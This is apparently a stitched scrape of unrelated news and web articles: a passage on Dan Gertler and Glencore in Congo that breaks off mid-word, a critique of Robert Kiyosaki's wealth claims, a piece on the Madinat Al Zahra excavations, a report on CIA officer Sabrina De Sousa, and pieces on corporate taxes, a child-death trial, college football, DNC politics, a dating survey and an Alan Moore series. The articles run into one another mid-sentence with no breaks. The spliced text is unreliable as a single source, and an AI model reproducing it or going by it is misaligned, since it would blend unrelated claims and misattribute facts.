The grandson of the founder of the Israel Diamond Exchange, Gertler turned up in Congo in 1997 at age 23, as the country was descending into a hellish war that left at least 4 million dead. Gertler had few contacts when he arrived in Congo, and a confidential report by the international investigative firm Kroll that I obtained described him as having a “poor record in fulfilling promised investments.” But he did have something that a government at war desperately needed: cash. Three years after he arrived in Congo, the government — then headed by Laurent Kabila, Joseph’s father, who was assassinated in 2001 — sold Gertler a monopoly on diamond sales for $20 million, though it was reportedly worth hundreds of millions of dollars. Gertler denied charges of promising to provide military aid to Congo in a 2004 Israeli court case brought by Yossi Kamisa, a former Israeli anti-terrorism police official who maintains that he accompanied Gertler to Congo — even meeting with Laurent Kabila — to train and equip Congolese forces in exchange for diamond concessions. Gertler severed relations with Kamisa, reportedly over negative press regarding the diamonds-for-arms deals; both Kamisa’s suit and a subsequent appeal were dismissed.
In Congo, Gertler’s diamond monopoly became politically controversial and was cancelled months after Joseph Kabila came to power. Still, he has continued to land profitable deals ever since. Shimon Cohen, Gertler’s London-based public relations advisor, told me that his “family trusts have invested or brought over $2 billion of investment into the mining sector” in Congo over the past 15 years. Public records and documents released late last year by a British parliamentarian show that in the past several years the Congolese government secretly sold vast mining assets on the cheap (Cohen denies that they were undervalued) to various British Virgin Islands-registered shell companies, several of which are linked to Gertler. “Gertler’s philosophy is that everyone has a price and can be bought,” the Kroll report said.
Today, Gertler is the best-connected foreigner in Congo, enjoying “a close friendship with the president,” according to Cohen. He was one of the few Westerners invited to Joseph Kabila’s 2006 wedding, and in June 2011 he joined the president on the VIP tribune during Independence Day celebrations. “Dan Gertler is a friend,” Antoine Ghonda, a close aide to Kabila, told the Sunday Times. “The way our president works, he has close contacts and protects them.” For his part, Gertler has called Kabila “the most promising new president in the world — a new Mandela.” That’s not a view shared by most observers. “[S]tate security forces continued to act with impunity throughout the year, committing many serious abuses, including unlawful killings, disappearances, torture, rape and engaging in arbitrary arrests and detention,” the U.S. State Department’s 2010 human rights report, released last year, says of Kabila’s Congo. “Government corruption remained pervasive.”
With vast mineral deposits worth an estimated $24 trillion, though, including enormous amounts of cobalt, copper, and gold, Congo has irresistible appeal to companies like Glencore, which has around $4.5 billion at stake there in three holdings.
Operating in the country is simply not possible without high-level political protection, and Gertler offers it for Glencore, according to sources and public accounts. One former Glencore employee described the company and Gertler as “totally enmeshed” in Congo. Gertler, this person told me, “managed the entire relationship between Glencore and Kabila and the Congolese government,” with Glasenberg, the CEO, flying into Kinshasa or Lubumbashi on a private jet to meet with him. Gertler’s spokesman Cohen says that his client “has never been personally engaged in business enterprises with Glencore.” However, records I examined show an extensive set of financial dealings between firms in which Glencore and Gertler hold significant stakes, a fact confirmed by Buerk, Glencore’s spokesman. Cohen acknowledges that Gertler is “an advisor” to a private consulting company called Fleurette, registered in Gibraltar and “owned by a trust for the benefit of the [Gertler] family,” which happens to have a “long-standing business relationship with Glencore.” Glencore and Gertler are shareholders in Katanga Mining; Glencore’s stake alone was worth around $2.7 billion at the time of its IPO — Glencore’s fourth-largest equity holding. They both held stakes as well in Nikanor, a copper and cobalt company that Glencore provided most of the financing to purchase in exchange for exclusive rights to sell all the mineral output. (Nikanor was acquired by Katanga in January 2008 for $452 million.)
Glencore has not been keen to advertise its relationship with Gertler. It has, however, offered him a series of discreet, complex, and remarkably profitable deals. In one case, Glencore sold stock in Katanga Mining at roughly 60 percent of its market value to Ellesmere Global Limited, a British Virgin Islands firm whose “ultimate owner is a trust for the benefit of the family members of Dan Gertler,” according to Canadian insider-trading records. Ellesmere quickly sold it back to Glencore at close to full market price, netting a profit of about $26 million. “These purchases turned out to be good investments,” Buerk said. Corporate records I obtained show that in another deal, a subsidiary 50 percent owned by Glencore waived its rights of first refusal to acquire an additional stake in Mutanda Mining, a copper and cobalt producer, from Gecamines, Congo’s state-owned mining company, and instead recommended that the shares be sold to one of the offshore firms owned by Gertler’s family trust. It’s not clear why Glencore’s subsidiary would have passed on the offer, because business records and documents suggest that Gertler’s trust picked up the Mutanda shares for a fraction of their value. “We preferred to invest our money in developing Mutanda — building the mines and the plant,” Buerk said in an email explaining why Glencore did not buy the shares.
However much Gertler has made through his firms’ deals with Glencore, Glencore has clearly profited too, given the huge portfolio it has accumulated in Congo. That, my sources told me, is exactly the point.
“Glencore has a Gertler everywhere,” the former Glencore employee says. “That’s standard.”
FOR GLENCORE, PARTNERING with operators like Gertler is not a chance occurrence. On the contrary, it reflects the company’s modus operandi: gaining access to resources through gatekeepers who have intimate connections to senior-level decision-makers. Such gatekeepers, whether agents, business partners, or the heads of service companies it uses, offer a way to navigate life on the frontier, a place where, Glencore warned investors, they should not be surprised by what happens. After all, the company’s IPO prospectus notes dryly, “[S]ome of Glencore’s industrial activities are located in countries where corruption is generally understood to exist.”
The gatekeepers “could do all the things I couldn’t do or didn’t want to do,” a former Glencore trader, speaking on condition of anonymity, told me.
In Russia, Glencore’s chief sponsor has been oilman Mikhail Gutseriev, who in 1995 was elected to the Duma as a member of right-wing nationalist Vladimir Zhirinovsky’s party, which he also lavishly financed. Gutseriev also owned a bank and casino, and he was running a newly created tax-free business zone in Ingushetia, a small, violence-ridden republic bordering soon-to-be-war-torn Chechnya. In her book Sale of the Century, Chrystia Freeland describes his Moscow offices as decorated in gold, crystal, and floral designs that “an eight-year-old girl with a princess fantasy and a gold credit card might concoct” and the casino’s décor as “oil paintings of naked women wrapped in furs” and private bedrooms with mirrored ceilings and Jacuzzis. “Sometimes we have special guests and they like to be entertained,” Gutseriev explained to her. Later, Gutseriev went into the energy business — he was understatedly described in a U.S. diplomatic cable released by WikiLeaks as “not known for his transparent corporate governance.” He did well. Today he regularly appears on Forbes‘s list of the richest Russians, with a fortune estimated at around $6.7 billion.
A decade ago, though, Gutseriev was down and seemingly out. In 2002, the Kremlin fired him as the head of state-owned oil firm Slavneft for resisting the company’s privatization, according to the WikiLeaked cable. That same year, however, he sought to regain his position at Slavneft by arranging for three busloads of armed guards to take over its Moscow offices. They withdrew after occupying the building for several days, according to an account in the Russian press.
But Gutser
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up—wrote a puff piece about him. You can see it at http://starbulletin.com/2000/07/10/features/story1.html. In it, Kiyosaki says a number of things that imply he is rich. For example,
I’m free to do exactly what I want, when I want, where I want. I can stop working if I want to. Money buys me freedom.
I once investigated best-selling real-estate author Robert Allen who wrote Nothing Down. At first, he claimed to own his home. But when I checked the address which appeared on IRS liens filed against him, it was nonexistent—no house at that address. When I again asked where he owned his home, he admitted, “I rent.” I have the conversation on tape.
One of my MBA classmates, Paul Bilzerian, became a very successful corporate raider for a time. He stood silent while others claimed he was a wiz who had made $150 million in Florida real estate before age 30. I called him up to ask if that were true. He said I should read the article in the Wall Street Journal carefully. Indeed, it said he was “reported” to have made that much and all Paul would say in the article was, “That’s a good guess.” In other words, Paul was pointing out to me that it was not he who said he had made all that money. Paul subsequently was the subject of a Forbes story. They said they investigated his purported Florida real-estate profits and could not find a “trace” of him in Florida real estate. He later got into trouble with the law and was the subject of a 60 Minutes segment about his mansion in Florida that creditors could not get at after he declared bankruptcy.
According to the Honolulu Star-Bulletin, “Kiyosaki won’t say how much he is worth or in what he’s invested.” Kiyosaki claims, “I own companies. I’m a major shareholder in oil and mining companies, plus real estate companies. I have intellectual property companies.” But he won’t identify any of them. Why? As you will read below, one of my readers checked Kiyosaki’s claim that he was a major shareholder out in a securities industry data base and found not a trace of him in spite of the fact that major shareholders are required by law to be identified. If he is a “major” shareholder, it is in minor corporations so small that their shares are not traded publicly.
A book editor unrelated to Kiyosaki used industry statistics to tell me he figures Kiyosaki has netted at least $11 million from his book royalties since 2000.
With regard to Kiyosaki’s “Money buys me freedom” statement, my Succeeding book has a chapter on wealth that discusses both the advantages and disadvantages of being rich. Yes, there are disadvantages, like making your family members kidnap targets or making yourself a lawsuit target. Last I heard, Kiyosaki was being sued by the co-author of Rich Dad Poor Dad, Sharon Lechter.
Mr. Privacy
Kiyosaki says, “I keep my holdings private. You know why that is? Lawsuits. If you have money, you get sued.”
Let me get this straight. Kiyosaki says he is rich, that he “makes millions of dollars,” and is about as high profile about his wealth as you can get about it—best-selling how-to-get-rich books, appearances on TV shows like Oprah, interviews to daily papers and national magazines. Yet he won't disclose any details because he doesn't want people to know he has money.
Not only is the guy a B.S. artist, he insults our intelligence.
Somebody needs to give Kiyosaki a book on how to be low profile. I’m sure it has a chapter that says going on Oprah to discuss your best-selling book on getting rich is not a good way to prevent would-be litigants from knowing you have money. Kiyosaki is, in fact, shouting from the rooftops that he has money. He just refuses to prove it. Or to let anyone investigate how he got it if he does have it.
I have always felt that implying you have money was worse than revealing your net worth. When I was in grad school, I took a labor relations course where actual union leaders were in every other seat with us MBAs. One said that one of the things they love about employers is when they keep earnings secret. That allows the union to tell the employees that the company is “getting rich on their backs.” That, in turn, causes the employees to vote for the union. Kiyosaki’s implying he is wealthy, but refusing to disclose how wealthy, will almost certainly cause would-be litigants and others to overestimate his net worth, thereby increasing the chances of his being sued over what they would be if he were more forthcoming.
Many small businesspeople adopt grandiose company names, like Pritchco Interplanetary, that make them sound much larger than they really are. I tell my readers not to do that because such names encourage lawsuits. I encourage small real-estate investors to use their own name, because people are more inclined to sue big-sounding corporations than an individual. I recommend that you read an article I wrote on how to take title with regard to privacy and other aspects of money.
I suspect the real reason Kiyosaki refuses to disclose any evidence of his purported wealth is either
It was much smaller before he got rich from his book than his followers imagine
He did not get it the way he implies—for example, his wealth may come almost entirely from telling people how to get wealthy and he may not have been wealthy himself until he told people how to get wealthy
he told people how to get wealthy He achieved wealth in an unethical or illegal way
All of the above
For the record, I created another page to address the jealousy issue. Click here to see it.
Meet the Street interview
On 1/14/02, a reader told me Kiyosaki was more forthcoming about his wealth at http://www.thestreet.com/funds/meetthestreet/10006507.html. Indeed, in an interview at that Web site, he says his net worth is “between $50,000,000 and $100,000,000 depending on the day.” (I don’t believe that. He also says he was bankrupt and homeless in 1985. More about that later.) So which is it—Kiyosaki will not talk about his wealth because he doesn’t want to be sued or he will give figures, locations of his properties, and the nature of his corporations as he does in the Meet the Street interview? What happened to the lawsuit threat?
There were a number of points in that Meet the Street interview that deserve a response
Kiyosaki said Reed comment avoid mutual funds and 401(k)s because they are too risky Mutual funds vary in their risk. Some are very low risk. 401(k)s have tax benefits that are hard to ignore. Also, you can invest them in almost anything you want in many cases. If they are invested in broad-based, low-cost index funds, like Vanguard 500 Index, they have no risk other than the risk that the entire market will collapse. Bogus gurus like to give extremely simple rules. Ignorant readers love them. That’s fine when the subject permits. But this is an extremely simple rule that is not valid because of the complexity of the subject. says his net worth is “$50 million to $100 million depending on the day” I don’t believe that. He was bankrupt and homeless in 1985 by his own admission. Although a lawyer who searched the federal case management system on line says he could find no bankruptcy filing for Kiyosaki. He claims to have sold 26 million books. The highly successful book What Color is Your Parachute? has only sold seven million copies since it first came out in 1970. But even if you accept the 26 million figure, Kiyosaki’s co-author royalty would appear to be about 72¢—not enough to get you anywhere near $50 million even if you had no living expenses. He claims to make money in other businesses, but will not disclose enough detail that anyone can check that. Also, what’s this “depending on the day” nonsense? I presume that’s a shameless effort to impress people who are really ignorant about the world of finance. What he is saying is that his net worth doubles or halves within 24 hours. He implies that causes him not the least bit concern. Gimme a break! If my net worth dropped in half in one day, I would be pretty upset about it. What must he be invested in to enable his net worth to double or halve in 24 hours? Pork belly futures? No one in his right mind would invest his entire net worth in an investment vehicle that could double or halve in 24 hours. In the 2/03 Smart Money magazine article, he said his net worth was $35 million. Must have been a really bad day in pork belly futures. Actually, his book-selling success notwithstanding, I would guess his net worth is more like $3 million, virtually all of it from book and related sales. the investments of the wealthy are managed well Laymen think that. I don’t. The main thing in managing an investment is stock picking. That is impossible to do well on purpose except for a few alpha money managers who are excruciatingly hard to identify before the fact. Otherwise, it’s a crap shoot. If anybody ever figured it out, he would not need to work—for the wealthy or anyone else. There have been numerous studies proving this, most notably the classic book, a Random Walk Down Wall Street by Burton G. Malkiel. The wealthy do get good advice on legal implications of their portfolios, but not on how to earn a high return. The notion that anyone gets good advice on how to earn a high return in securities is a laymen’s myth. The truth is there are extremely few money managers who can beat the market consistently over the long run and who they are changes from time to time. Essentially, only a few institutions have been lucky enough to find them. Not, as Kiyosaki says, all the rich. says he was able to retire at 47 So why didn’t he? He’s still hustling his butt off to sell stuff. there are three different types of income: earned, portfolio, and passive This is primarily an income-tax-rate distinction as Kiyosaki explains it. He says these types of income are taxed at 50%, 20%, and 0% respectively. The phrases “passive income” and “portfolio income” do appear in the Internal Revenue Code. I have used “earned income” to describe money you make from your salary or business. In fact, Kiyosaki is spouting nonsense. The federal income tax rates on earned income, passive income, and portfolio income are the same—not 50%—but your overall rate can get to that level when you add state income taxes. The distinction between the different types of income involves whether the losses from one category can be deducted from income of another category. The 20% tax rate of which Kiyosaki speaks only applies to long-term capital gains. Those come from selling assets at a profit after holding them for a specified number of months. You can have such 20%-tax-rate gains in both the passive and portfolio categories. The only income that is taxed at a 0% rate are special things like municipal bonds and gains of less than $250,000 per spouse from the sale of certain personal residences. It is possible to do transactions where there is no tax due at present, like IRC §1031 exchanges, but the tax-free nature of such transactions stems from the fact that you received no income. Rather you put the proceeds from the sale of one rental property into the purchase of another rental property. If and when you eventually take out your profit by selling your rental property, you will be taxed on the gain that you had when you exchanged. See my books Aggressive Tax Avoidance for Real Estate Investors and How to Do a Delayed Exchange. I own 10 rental buildings in Miami, Austin, and Phoenix. Most investors use more specific terminology like “apartment complex” or “office building” or “shopping center.” Investors usually use the phrase “rental building” to hide the fact that their properties are mere rental houses. You should not own rental property in three states unless you have a specific reason for doing so. Why not own all ten rental properties in Phoenix, where he lives? With Kiyosaki, I suspect he thinks having property in three states makes him sound like more of a tycoon. To experienced investors, it makes him sound like more of a dilettante. You want the property in the same region—preferably where you live—so you can use the same people to work on all the properties and save on air fares, hotels, and so forth. Actually, I believe I have the only books on absentee management: How To Manage Residential Property For Maximum Cash Flow and Resale Value and absentee purchasing: Checklists for Buying Rental Houses and Apartment Buildings.
One reader said investing in three different regions gives you diversification benefits. Only against regional economic downturns and possibly rent control if the buildings are bigger than one family. But rent-control risk is better dealt with by staying out of multifamily and states that do not have a rent-control preemption in state law. The risk of regional economic downturns is not great enough to overcome the disadvantages of spreading yourself that thin in terms of travel, personnel, need to learn different laws and markets, etc.
Click here to go to Part 2Media playback is unsupported on your device Media caption Archaeologist Ramon Fernandez explains the significance of the finds
It has been 100 years since excavations started on the Madinat Al Zahra, the magnificent 10th century palace city near Cordoba in southern Spain.
Although only 11% of the city - built by the powerful caliph Abd Al Rahman III - has been uncovered, it is unlikely that it will take another century to unearth the remainder of the site given the rapid advances in excavation technology.
Today it's hard to grasp its significance, but in the 10th century it was the greatest city on Earth Ramon Fernandez, Archaeologist
In a curious parallel, new techniques such a tele-imaging, that are being used in order to understand the 115-hectare site, reflect the revolutionary building techniques developed here a thousand years ago, and which came to define the distinct "Andalucian style".
A nearby museum completed on the site in 2008 and shortlisted for this year's Aga Khan Award for Architecture, is the base where research and restoration is carried out on objects recovered from the archaeological site.
Archaeologist Ramon Fernandez points to the remains of the palace where the caliph lived. It stands high above the rest of the city, giving the ruler a psychological advantage. He used it to impress his might on his subjects - and visiting foreign ambassadors.
"Situating his palace 5km outside the city of Cordoba compelled dignatories to make the journey out to the political, cultural and administrative capital of Al-Andalus," he explains.
"The dazzling caliph's headquarters, set into a mountain, could be seen from far away. Today it's hard to grasp its significance, but in the 10th century it was the greatest city on Earth."
Lasting impact
In addition to using costly materials such as ivory, marble, pearls and gold for his own quarters, the sheer amount of embellishment the caliph commissioned had a long lasting impact on arts and design.
Image caption New imaging techniques have been used to visualise the city
The caliph's use of culture to tell the world that he was the undisputed ruler of North Africa and the Iberian peninsula revolutionised existing architecture.
Antonio Vallejo, director of both the arhaeological site and its museum, confirms that the classical Andalucian style of architecture was developed at the Madinat Al Zahra.
"New characteristics appeared for the first time here in these buildings.They are arranged around a courtyard and all the show is on the inside" he says.
"Spaces such as patios with gardens and lateral porticos made their way into later architectural styles and can even be seen in today's architecture."
It took more than 30 years to build the palace complex where about 200,000 people lived in the 10th century.
Many were artists brought together from the furthest corners of the Islamic empire to create a city that became the model for later famous buildings, such as the famous Alhambra palace in Granada, Spain.
Experts in geometry were brought from Iraq to collaborate with the finest stone masons of the time to create an architectural extravaganza.
Meticulous work
Immaculata Munoz Matuta, who works as a technical restorer at the site, shows a large slab of marble that comes from the Caliph's bathroom.
It is covered with leaf decorations and has survived intact for more than a thousand years.
"It's fantastic because it's extremely big and heavy yet it's carved in a such a very delicate and detailed way and matches the motifs on the walls," she explains.
Image caption The design of the city strongly influenced later types of architecture
"The Alhambra decorations are in plaster, but the work here was very difficult and took ages because it was all in stone."
Some of the architectural pieces have been cleaned, restored and returned to the archaeological site, others are on show in the museum.
In contrast to the lofty heights of the Madinat, the nearby museum is just one floor high, using large underground areas for storage and restoration.
Antonio Vallejo, who has been working at the site for more than 25 years, says that the relationship between the site and the museum is unique in Spain.
"The museum is completely at the service of the archaeological site. Here we have the technology to conserve and explain the Madinat Al Zahra."
But the city had only a short life. Having taken over 30 years to construct, it was sacked in a civil war and the dynasty came to an end.
But its reputation lived on. Ramon Fernandez says that the Madinat Al Zahra became a symbol of magnificance and fate.
"People tried to get some of the legitimacy of the fallen dynasty by looting its treasures. It's a compelling balance between huge power and complete destruction after just 70 years."A former CIA officer and diplomat who has repeatedly denied playing a role in one of the most notorious U.S. counterterrorism programs is set to become the only American held accountable for it -- and claims the Obama administration has abandoned her.
Sabrina De Sousa, who is stuck in Portugal and awaiting extradition to Italy over her alleged role in the rendition of a terror suspect years ago, claims the State Department has ignored repeated requests to intervene on her behalf. She and her lawyers are particularly critical of Hillary Clinton, who still has not commented on the case.
Mark S. Zaid, an attorney who previously worked with De Sousa, told FoxNews.com his firm made “multiple efforts” to reach out to the State Department -- specifically then-Secretary of State Clinton -- and that “every time we were completely rebuffed with silence.”
He said one of his letters was even "deceptively" classified “to limit my ability to create a public furor over how Sabrina had been and continues to be mistreated.”
De Sousa, a naturalized American from India, was arrested in Portugal last October and earlier this month lost her latest court bid to halt her extradition to Italy. She faces four years in prison there over her alleged role in the rendition of a suspected terrorist 13 years ago.
De Sousa has launched numerous unsuccessful bids over the years to clear her name, but has received little known help from the government she served for more than a decade.
If she’s sent to prison, she would become the first CIA officer and U.S. diplomat imprisoned over the controversial rendition program.
Implemented under President George W. Bush, the program transferred terror suspects to other countries for detention and interrogation. De Sousa, along with about two dozen other CIA agents and an Air Force official, were convicted in absentia in Italy in 2009 on kidnapping and other charges related to the abduction of Osama Mustapha Hassan Nasr, known also as Abu Omar, under the rendition program.
Omar, a radical cleric, was taken while walking down a street in Milan and flown to Egypt where he was held prisoner for four years without a trial before eventually being released. Omar claims during that time he was tortured.
Omar also was convicted in absentia in Italy of “criminal association for the purposes of international terrorism” and sentenced to six years in prison. Prosecutors claim he collaborated with 13 other suspected terrorists between 2000 and 2003 with the intent of carrying out terrorist attacks around the world.
Around the time of the rendition, De Sousa, 60, worked under diplomatic cover and was stationed in Milan.
On the specific day in question, though, De Sousa claims she was chaperoning her son’s school ski trip in northern Italy – about 200 miles from Milan.
De Sousa recently detailed her frustration over the situation to VICE. During the in-depth interview, she didn’t pull punches at who she thinks is hurting her shot at freedom.
“There needs to be an explanation instead of a no comment,” De Sousa said about Clinton’s careful avoidance of the issue. “She already has the issue of Benghazi, which was diplomatic. And now we have a U.S. diplomat going to prison, that’s two things.”
De Sousa believes Clinton could still do the right thing.
“I think the most important thing Secretary Clinton can do now is comment,” De Sousa told VICE. “So going in, if she becomes president, then at least everyone knows her position on it.”
A State Department official told FoxNews.com that they are aware of the De Sousa situation:
“We have seen reports that a Portuguese Court has acceded to the Italian government’s request for the extradition of Sabrina de Sousa. We refer you to the Italian and Portuguese governments for further information.”
De Sousa’s extradition was recently raised during a European Parliament hearing where a resolution was passed calling upon member states to formally investigate Europe’s role in U.S. renditions.
Ana Gomes, a member of the European Parliament, called De Sousa a “scapegoat” and said those truly responsible for renditions were being protected.
VICE also spoke with Abu Omar, who said he supports a pardon or immunity for De Sousa.
The irony isn’t lost on De Sousa.
“A former agency employee said to me – ‘How embarrassing is it going to be for the CIA when the terrorist starts to support you in this whole story?’” she reportedly said.
Glen Caplin, a spokesman for Clinton's campaign, told FoxNews.com that they "can not comment on the specifics of a case that is working its way through the legal systems of two other countries" and deferred "any questions to the U.S. government agencies."RALEIGH, N.C. - The most profitable Fortune 500 companies - including several in North Carolina - are paying little or no federal income tax.
According to a new report, Duke Energy has paid no federal corporate taxes since 2008, a period in which the company made $9 billion in profit.
Allan Freyer, policy analyst for the North Carolina's Budget and Tax Center, said the findings confirm the major disparity between corporate America and average citizens.
"It's clear that we have one set of rules for middle-class families when it comes to taxes and another set of rules for highly profitable corporations," Freyer said. "The rules for corporations really do allow them to escape paying anywhere near close to their fair share in taxes."
Duke has paid $3 million in state income taxes since 2010, but received $300 million in tax rebates, according to the report released jointly by the groups Citizens for Tax Justice and the Institute on Taxation and Economic Policy.
According to additional research by Democracy North Carolina, Duke Energy donated more than $400,000 last year to state and national political action committees. Duke currently is the subject of federal and state inquiries into the coal-ash spill at its retired Eden power plant.
While corporations are taking advantage of tax loopholes, Freyer said, average citizens are confronting higher tax rates and, in some cases, the elimination of tax credits or services.
"In attempting to reduce our federal budget deficit, middle-class families have been asked to pay more," he said, "while large, profitable corporations have been paying significantly less."
Other North Carolina Fortune 500 companies use tax breaks to pay reduced rates, according to the report. The list includes International Paper, Merck Pharmaceuticals, IBM and Dupont. Starting this year, the state corporate tax rate is decreasing from 6.9 percent to 6 percent. By 2017, the rate is slated to be reduced to 3 percent.
The report is online at ctj.org.
Stephanie Carroll Carson, Public News Service - NCA YOUNG Redditch mother “betrayed” her tragic baby daughter’s trust because she knew her “violent, volatile, short-tempered” partner posed a risk in the lead-up to her little girl’s death, a jury was told.
Twelve-week-old Isabella Vallance died at the hands of her father, Tyler Vallance, formerly of Engadine Road, Bromsgrove, who finally admitted killing her.
The mother, Jessica Wiggins, now 20, of Heathfield Road, Redditch, denies causing or allowing the death of her child by failing to protect her from Vallance, 21.
Christopher Hotten QC, prosecuting, told the jury at Worcester Crown Court that the prosecution was not suggesting that Wiggins herself inflicted any injuries.
He added: “She’s here to be tried because, we say, she knew full well that Tyler Vallance was a violent, volatile, short-tempered man, who posed a real risk of causing grievous bodily harm to her child – but did nothing to protect her against what proved to be fatal consequences.
“It is the first duty of a mother to protect her child – however much you may love the father of the child, however difficult it may be to take the child away.
“She betrayed the trust and duty she owed her daughter.”
Mr Hotten said Isabella, who was born prematurely when her mother, then aged 17, was only 34 weeks pregnant, died on December 12 2012 at Birmingham Children’s Hospital after spending five days in the paediatric intensive care unit.
Doctors had struggled to understand what was wrong with her but had suspicions after a post mortem showed the death was not a tragic accident but that she had been the victim of assaults.
Mr Hotten said it was not until June 18 this year that Vallance admitted at Worcester Crown Court that it was he who had killed his baby daughter.
Vallance had said he had caused her serious injuries three to four weeks before her death and, on December 7 2012 he caused her injuries that led to her death five days later.
Mr Hotten added that Vallance had been diagnosed with attention deficit hyperactive disorder (ADHD), was under the care of a consultant and had problems controlling his anger.
Wiggins was the eldest of 11 children and caring for her younger siblings often fell on her shoulders because her mother and stepfather were heavy drinkers.
Social services, health visitors and doctors became involved with Wiggins and Vallance before Isabella was born.
But Mr Hotten said the jury was not concerned with whether the “caring agencies” should have protected the child – adding that was “for another day”.
On November 13, 2012, the neonatal outreach sister from the Alexandra Hospital, Redditch, visited the family at the home where they were then living in Stanley Close, Redditch, and noticed a bruise on Isabella’s left cheek.
But the parents suggested it was caused by pressure from her dummy and, after a check by a doctor, the child was allowed to remain with the couple.
Mr Hotten said the bruise could have been an outward sign of injuries Isabella had suffered.
He added that what the care agencies had been unaware of was that there were difficulties between Vallance and Wiggins.
She had complained to a friend that Vallance had grabbed her around the neck and cracked something on the fireplace that came close to hitting the baby.
The hearing continues.Wisconsin senior saftey Dezmen Southward lined up next to redshirt freshman Leo Musso with the first team defense Monday. Credit: Joe Koshollek
SHARE Badgers by Position Jeff Potrykus takes a position-by-position look at the 2013 Badgers heading into training camp: OL: Story | Ratings
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By of the
Madison — Although the three-man quarterback battle likely will be the No. 1 storyline over the next two weeks, the most intriguing development on the opening day of Wisconsin's preseason camp involved the defense.
Leo Musso, a redshirt freshman from Waunakee, got the first chance to work alongside senior safety Dezmen Southward with the No. 1 defense.
Musso, listed at 5-foot-10 and 195 pounds, was moved to safety from tailback in the spring.
"He runs. He is instinctive," head coach Gary Andersen said when asked about Musso's athletic ability. "He is a well-rounded athlete and his quickness and his speed shows.
"He has the smarts to get back there and align and I think he is a tough, physical kid.
"Those are all things that a safety has to do. We are going to look at four or five kids in that spot.
"But Moose did a good job this summer of what we were looking for, improving himself mentally. That was encouraging."
The second safety tandem featured Michael Caputo and Jeff Lewis, who was moved from tailback after spring practice.
Quarterbacks up and down: Curt Phillips and Joel Stave got the bulk of the work with the No. 1 and No. 2 units during pass skelly drills. Junior-college transfer Tanner McEvoy and freshman Bart Houston were third and fourth in line, respectively.
Andersen liked what he saw in drill work but thought their level of performance dropped off in 11-on-11 work.
"We threw the ball real well in pass skelly," Andersen said. "But when it became real football, 11 on 11, we threw the ball very average....
"We'll go back and evaluate the film tonight. This is going to be a process. Not one day is going to make you a starter but every day is unbelievably important for those three as we continue through camp."
More work for Borland? Senior linebacker Chris Borland was among several players fielding kickoffs during drills.
Andersen was asked if Borland might handle that duty in a game. Andersen didn't really address that topic but tossed out an intriguing thought.
"It would be nice to see him in some short-yardage offense," Andersen said. "I think that would be an interesting place to see him get the ball in his hands at the 1-yard lime with his want-to and his will.
"It could get real interesting for a defense pretty fast."
Extra points: Senior Conor O'Neill opened with the No. 1 defense at the second inside linebacker spot, ahead of junior Derek Landisch....
Nick Hill, a redshirt senior outside linebacker from Milwaukee Washington High School who missed the 2010 and '11 seasons because of knee injuries, was awarded a scholarship Sunday night. On Monday, he and Vince Biegel formed the No. 3 outside linebacker tandem....
According to Miami (Ohio) officials, the Redhawks will play at UW in 2015. The date is Sept. 12. UW opens the '15 season against Alabama on Sept. 5 in Arlington, Texas.The national director for the New York State-based Working Families Party decried Minnesota Congressman Keith Ellison‘s loss to ex-Labor Secretary Tom Perez in the battle to lead the Democratic National Committee in the vote held this afternoon in Atlanta.
Dan Cantor, who co-founded the labor-backed third party in 1998 with other activists, released a statement shortly after Perez topped Ellison with 235 votes to the congressman’s 200. Ellison, a darling of the party’s left wing, had received the support of Vermont Sen. Bernie Sanders—who he had backed for president in the 2016 primary—Senate Minority Leader Charles Schumer, an array of liberal organizations like the WFP, Mayor Bill de Blasio, Brooklyn Congresswoman Yvette Clarke and the Progressive Caucus of the New York City Council.
Perez—once a rumored running mate for Hillary Clinton—was the preferred candidate of former President Barack Obama, in whose administration he served.
“The leaders of the Democratic Party missed an opportunity today. This vote may sting for progressives, particularly young people,” Cantor wrote, alluding to the mass demonstrations that have dogged President Donald Trump‘s first month in office. “Keith Ellison was uniquely qualified to transform anger and fear into political power and organization.”
Although a third party with its own ballot line in New York and a few other states, the WFP largely functions as an advocacy organization within Democratic Party politics, endorsing and campaigning for left-leaning contenders in local primary elections. In states like New York that allow candidates to run on multiple party lines, the WFP also lends its row on the November ticket to individuals it deems sufficiently liberal, in hopes of influencing outcome of the election and politicians’ future decisions.
The organization backed Sanders for Democratic Party nominee, but failed to give him much of a lift in the Empire State’s April vote.
The DNC leadership battle was the first serious contest to head the national organization in the past eight years, as the chair is usually selected by the president when the party holds the White House.
Ellison, an African-American and the first Muslim to serve on the Hill, attracted controversy during his bid because his history of critical statements about Israel and his one-time support for anti-Semitic Nation of Islam leader Louis Farrakhan—whom the congressman later renounced. Others highlighted the Democrats’ losses under other chairs who simultaneously served in elected office, prompting Ellison to promised he would abdicate his seat if victorious.
Perez and Ellison ran on largely similar platforms, and the winner swiftly appointed his opponent deputy chairman. Cantor seemed to see cause for both optimism and pessimism in the outcome, as the party also voted to continue accepting contributions
“The silver lining is that America will get to keep one of its best members in Congress. Keith will be a voice for the values and vision that the Democratic Party needs to embrace,” Cantor continued. “As chair, Tom Perez would be well advised to take Keith Ellison’s counsel, and avoid that of the donor class that led us to the current crisis.”
A Buffalo native, Perez will be the first Latino to head the Democratic Party.After nearly 50 years of feminism, men want to go Dutch.
Nearly two-thirds of them — 64 percent — believe women should pay for their share of dates, a survey has found.
And 44 percent of men said they would drop a woman who never chips in, according to the findings reported at the American Sociological Association’s annual meeting in Manhattan.
But the traditions of courtship are too hard to break: 84 percent of men said they pick up the tab on dates.
And even after six months of courtship, 28 percent of them still do the paying, according to the survey of more than 17,000 people.
As for women, they’re conflicted. Fifty-seven percent of them said they have offered to chip in, even on a first date. But 39 percent said they hoped men would refuse to accept their offer.
And another 40 percent agreed with the statement, “It bothers me when men won’t accept my money to pay for dates,” according to data presented by Chapman University’s David Frederick, a co-author of the study.Alan Moore has had many works adapted into films—including Watchmen, From Hell, and V for Vendetta—but noir thriller Show Pieces, first released in 2012, is the first time the acclaimed author wrote specifically for the screen. The five-part series hits horror streaming network Shudder tomorrow.
Created with director Mitch Jenkins, and featuring Moore himself among the cast, the Kickstarter-funded Show Pieces has earned comparisons to the work of David Lynch. With Twin Peaks fever raging anew, the timing for this Shudder showcase couldn’t be better. Here’s a brief description of each chapter and some more artwork, followed by the trailer:
